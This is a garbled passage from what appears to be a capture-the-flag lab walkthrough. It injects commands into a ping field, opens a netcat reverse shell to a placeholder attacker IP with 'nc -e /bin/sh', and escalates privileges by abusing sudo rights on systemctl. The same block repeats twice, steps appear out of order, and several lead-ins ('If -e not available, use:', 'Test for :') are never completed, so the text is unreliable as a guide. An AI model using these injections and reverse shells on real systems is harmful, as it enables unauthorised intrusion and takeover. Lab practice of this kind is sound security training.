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127.0.0.1; nc -e /bin/sh <your_ip> 4444 If -e not available, use:
Run:
cat /home/mandy/user.txt Check sudo -l again as mandy – maybe mandy can run something as root.
Check /var/www/html for config files – sometimes credentials are hardcoded. find / -name user.txt 2>/dev/null Likely in /home/mandy/user.txt . But you don’t have read access yet. Step 4 – Privilege Escalation 4.1 Check Sudo Rights sudo -l If you see:
Test for :
User www-data may run (ALL, !root) /bin/systemctl That means www-data can run systemctl as any user . 4.2 Exploit systemctl Create a service file (e.g., privesc.service ):
nc -lvnp 4444
127.0.0.1; id If you see output of id command, injection works. Use a netcat reverse shell one-liner.
127.0.0.1; nc -e /bin/sh <your_ip> 4444 If -e not available, use:
Run:
cat /home/mandy/user.txt Check sudo -l again as mandy – maybe mandy can run something as root.
Check /var/www/html for config files – sometimes credentials are hardcoded. find / -name user.txt 2>/dev/null Likely in /home/mandy/user.txt . But you don’t have read access yet. Step 4 – Privilege Escalation 4.1 Check Sudo Rights sudo -l If you see:
Test for :
User www-data may run (ALL, !root) /bin/systemctl That means www-data can run systemctl as any user . 4.2 Exploit systemctl Create a service file (e.g., privesc.service ):
nc -lvnp 4444
127.0.0.1; id If you see output of id command, injection works. Use a netcat reverse shell one-liner.